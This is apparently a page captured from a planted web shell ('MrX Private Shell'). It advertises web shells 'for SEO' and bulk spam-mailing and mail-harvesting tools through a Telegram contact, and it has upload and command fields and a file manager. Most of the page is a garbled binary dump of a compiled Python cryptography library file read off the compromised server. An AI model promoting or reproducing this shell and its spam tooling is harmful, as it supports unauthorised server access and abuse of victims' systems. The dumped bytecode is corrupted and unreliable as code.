__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

#�`g�+���%SSKJrJrJrJr SSKJr SSKJ	r	J
r
 SSKJr \
R"5r\\S'\
R""5r\\S'\
R&"5r\\S'\
R*"5r\\S'\
R."5r\\S	'\
R2"5r\\S
'\
R6"5r\\S'\
R:"5r\\S'\
R>"5r \\S
'S\!4Sjr""SS5r#S\#S\!S\!4Sjr$S\4S\#S\!S\\!S\S\!4
Sjjr%S\#S\!S\!SS4Sjr&SS\#S\!S\\!S\\!\44Sjjr'S\#SS4Sjr(g) �)�
ByteString�Optional�Tuple�cast)�
exceptions)�ffi�lib)�ensure�,crypto_secretstream_xchacha20poly1305_ABYTES�1crypto_secretstream_xchacha20poly1305_HEADERBYTES�.crypto_secretstream_xchacha20poly1305_KEYBYTES�6crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX�0crypto_secretstream_xchacha20poly1305_STATEBYTES�1crypto_secretstream_xchacha20poly1305_TAG_MESSAGE�.crypto_secretstream_xchacha20poly1305_TAG_PUSH�/crypto_secretstream_xchacha20poly1305_TAG_REKEY�/crypto_secretstream_xchacha20poly1305_TAG_FINAL�returnc��[R"S[5n[R"U5 [R
"U5SS$)zX
Generate a key for use with
:func:`.crypto_secretstream_xchacha20poly1305_init_push`.

�unsigned char[]N)r�newr
r	�,crypto_secretstream_xchacha20poly1305_keygen�buffer)�keybufs �C/usr/lib/python3/dist-packages/nacl/bindings/crypto_secretstream.pyrr4s<���W�W��6��F��4�4�V�<��:�:�f��a� � �c�*�\rSrSrSr/SQrSSjrSrg)�+crypto_secretstream_xchacha20poly1305_state�BzF
An object wrapping the crypto_secretstream_xchacha20poly1305 state.

)�statebuf�rawbuf�tagbufNc�`�[R"S[5UlSUlSUlg)z Initialize a clean state object.rN)rrrr r!r")�selfs r�__init__�4crypto_secretstream_xchacha20poly1305_state.__init__Js(��$'�G�G��<�%
��
�
-1���,0��r)r!r r")rN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�	__slots__r%�__static_attributes__�rrrrBs���
1�I�1rr�state�keyc���[[U[5S[RS9 [[U[
5S[RS9 [[
U5[:HS[RS9 [R"S[5n[R"URX!5n[US:HS[RS9 [R "U5SS$)	a8
Initialize a crypto_secretstream_xchacha20poly1305 encryption buffer.

:param state: a secretstream state object
:type state: crypto_secretstream_xchacha20poly1305_state
:param key: must be
            :data:`.crypto_secretstream_xchacha20poly1305_KEYBYTES` long
:type key: bytes
:return: header
:rtype: bytes

�BState must be a crypto_secretstream_xchacha20poly1305_state object��raising�Key must be a bytes sequence�Invalid key lengthzunsigned char []r�Unexpected failureN)r
�
isinstancer�exc�	TypeError�bytes�lenr
�
ValueErrorrrrr	�/crypto_secretstream_xchacha20poly1305_init_pushr �RuntimeErrorr)r/r0�	headerbuf�rcs    rr>r>Us�����5�E�F�L��
�
��
��3���&��
�
��
��C��B�B����������9��I�


�	<�	<�
���	�
�B��2��7�(�#�2B�2B�C��:�:�i� ��#�#rN�m�ad�tagc
�N�[[U[5S[RS9 [[U[
5S[RS9 [[
U5[:*S[RS9 [USL=(d [U[
5S[RS9 [
U5[-nURb[
UR5U:a[R"SU5Ul
Uc[RnSnO[
U5n[R"UR UR[RU[
U5UUU5n[US:HS	[R"S9 [R$"URU5SS$)
a�
Add an encrypted message to the secret stream.

:param state: a secretstream state object
:type state: crypto_secretstream_xchacha20poly1305_state
:param m: the message to encrypt, the maximum length of an individual
          message is
          :data:`.crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX`.
:type m: bytes
:param ad: additional data to include in the authentication tag
:type ad: bytes or None
:param tag: the message tag, usually
            :data:`.crypto_secretstream_xchacha20poly1305_TAG_MESSAGE` or
            :data:`.crypto_secretstream_xchacha20poly1305_TAG_FINAL`.
:type tag: int
:return: ciphertext
:rtype: bytes

r2r3zMessage is not byteszMessage is too longN�%Additional data must be bytes or Nonerrr7)r
r8rr9r:r;r<rr=rr!rr�NULLr	�*crypto_secretstream_xchacha20poly1305_pushr r?r)r/rBrCrD�clen�adlenrAs       rrHrH�sF��2��5�E�F�L��
�
��
�:�a���!7����O�
��A��H�H������
�
�d�
�+�j��U�+�/��
�
���q�6�@�@�D��|�|��s�5�<�<�0�4�7��w�w�0�$�7���	�z�
�X�X�����B���	�	7�	7�
���
������	��A��
�
��	
�B��2��7�(�#�2B�2B�C��:�:�e�l�l�D�)�!�,�,r�headerc�\�[[U[5S[RS9 [[U[
5S[RS9 [[
U5[:HS[RS9 [[U[
5S[RS9 [[
U5[:HS[RS9 URc[R"S5Ul
[R"URX5n[US	:HS
[R S9 g)a�
Initialize a crypto_secretstream_xchacha20poly1305 decryption buffer.

:param state: a secretstream state object
:type state: crypto_secretstream_xchacha20poly1305_state
:param header: must be
            :data:`.crypto_secretstream_xchacha20poly1305_HEADERBYTES` long
:type header: bytes
:param key: must be
            :data:`.crypto_secretstream_xchacha20poly1305_KEYBYTES` long
:type key: bytes

r2r3zHeader must be a bytes sequencezInvalid header lengthr5r6Nzunsigned char *rr7)r
r8rr9r:r;r<rr=r
r"rrr	�/crypto_secretstream_xchacha20poly1305_init_pullr r?)r/rKr0rAs    rrMrM�s���$��5�E�F�L��
�
��
��6�5�!�)��
�
��
��F��H�H������
��3���&��
�
��
��C��B�B������
�|�|���w�w�0�1���	�	<�	<�
����
�B��2��7�(�#�2B�2B�Cr�cc
�X�[[U[5S[RS9 [UR
SLS[RS9 [[U[5S[RS9 [[U5[:�S[RS9 [[U5[[-:*S[RS9 [USL=(d [U[5S[RS9 [U5[-
nURb[UR5U:a[R"S	U5UlUc[RnS
nO[U5n[R "UR"UR[RUR
U[U5UU5n[US
:HS[R$S9 [R&"URU5SS[)[+[UR
5S
54$)a
Read a decrypted message from the secret stream.

:param state: a secretstream state object
:type state: crypto_secretstream_xchacha20poly1305_state
:param c: the ciphertext to decrypt, the maximum length of an individual
          ciphertext is
          :data:`.crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX` +
          :data:`.crypto_secretstream_xchacha20poly1305_ABYTES`.
:type c: bytes
:param ad: additional data to include in the authentication tag
:type ad: bytes or None
:return: (message, tag)
:rtype: (bytes, int)

r2r3NzOState must be initialized using crypto_secretstream_xchacha20poly1305_init_pullzCiphertext is not byteszCiphertext is too shortzCiphertext is too longrFrrr7)r
r8rr9r:r"r=r;r<rrr!rrrGr	�*crypto_secretstream_xchacha20poly1305_pullr r?r�intr)r/rNrC�mlenrJrAs      rrPrP�s���*��5�E�F�L��
�
��
�
���D� �
>����
���1�e��!��
�
��
��A��>�>�!�����
��A��B�:�
;�	
�
	!������
�d�
�+�j��U�+�/��
�
���q�6�@�@�D��|�|��s�5�<�<�0�4�7��w�w�0�$�7���	�z�
�X�X�����B���	�	7�	7�
���
������
���	��A��
�
�	
�B��2��7�(�#�2B�2B�C�	�
�
�5�<�<��&�q�)��D�����%�a�(�)��rc��[[U[5S[RS9 [
R"UR5 g)a�
Explicitly change the encryption key in the stream.

Normally the stream is re-keyed as needed or an explicit ``tag`` of
:data:`.crypto_secretstream_xchacha20poly1305_TAG_REKEY` is added to a
message to ensure forward secrecy, but this method can be used instead
if the re-keying is controlled without adding the tag.

:param state: a secretstream state object
:type state: crypto_secretstream_xchacha20poly1305_state

r2r3N)r
r8rr9r:r	�+crypto_secretstream_xchacha20poly1305_rekeyr )r/s rrTrTQs5����5�E�F�L��
�
��
�3�3�E�N�N�Cr)N))�typingrrrr�naclrr9�nacl._sodiumrr	�nacl.exceptionsr
�,crypto_secretstream_xchacha20poly1305_abytesrrQ�__annotations__�1crypto_secretstream_xchacha20poly1305_headerbytesr�.crypto_secretstream_xchacha20poly1305_keybytesr
�6crypto_secretstream_xchacha20poly1305_messagebytes_maxr�0crypto_secretstream_xchacha20poly1305_statebytesr�1crypto_secretstream_xchacha20poly1305_tag_messager�.crypto_secretstream_xchacha20poly1305_tag_pushr�/crypto_secretstream_xchacha20poly1305_tag_rekeyr�/crypto_secretstream_xchacha20poly1305_tag_finalrr;rrr>rHrMrPrTr.rr�<module>rcs��5�4�"�!�"��4�4�6�-�c���9�9�;�2�3���6�6�8�/����>�>�@�7����8�8�:�1�#���9�9�;�2�3���6�6�8�/����7�7�9�0����7�7�9�0���
!�e�!�1�1�&)$�6�)$�=B�)$�
�)$�^�@�	@-�6�@-��@-�	���@-�

�	@-�
�@-�F2D�6�2D��2D�
�2D�
�	2D�p�U�6�U��U�	���U��5�#�:��	U�pD�6�D�	�Dr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 10.57 KB 0644
crypto_aead.cpython-313.pyc File 15.71 KB 0644
crypto_box.cpython-313.pyc File 12.45 KB 0644
crypto_core.cpython-313.pyc File 14.06 KB 0644
crypto_generichash.cpython-313.pyc File 10.51 KB 0644
crypto_hash.cpython-313.pyc File 2.23 KB 0644
crypto_kx.cpython-313.pyc File 6.6 KB 0644
crypto_pwhash.cpython-313.pyc File 20.76 KB 0644
crypto_scalarmult.cpython-313.pyc File 8.74 KB 0644
crypto_secretbox.cpython-313.pyc File 3.41 KB 0644
crypto_secretstream.cpython-313.pyc File 11.95 KB 0644
crypto_shorthash.cpython-313.pyc File 3.03 KB 0644
crypto_sign.cpython-313.pyc File 12.3 KB 0644
randombytes.cpython-313.pyc File 1.62 KB 0644
sodium_core.cpython-313.pyc File 921 B 0644
utils.cpython-313.pyc File 5.82 KB 0644
Filemanager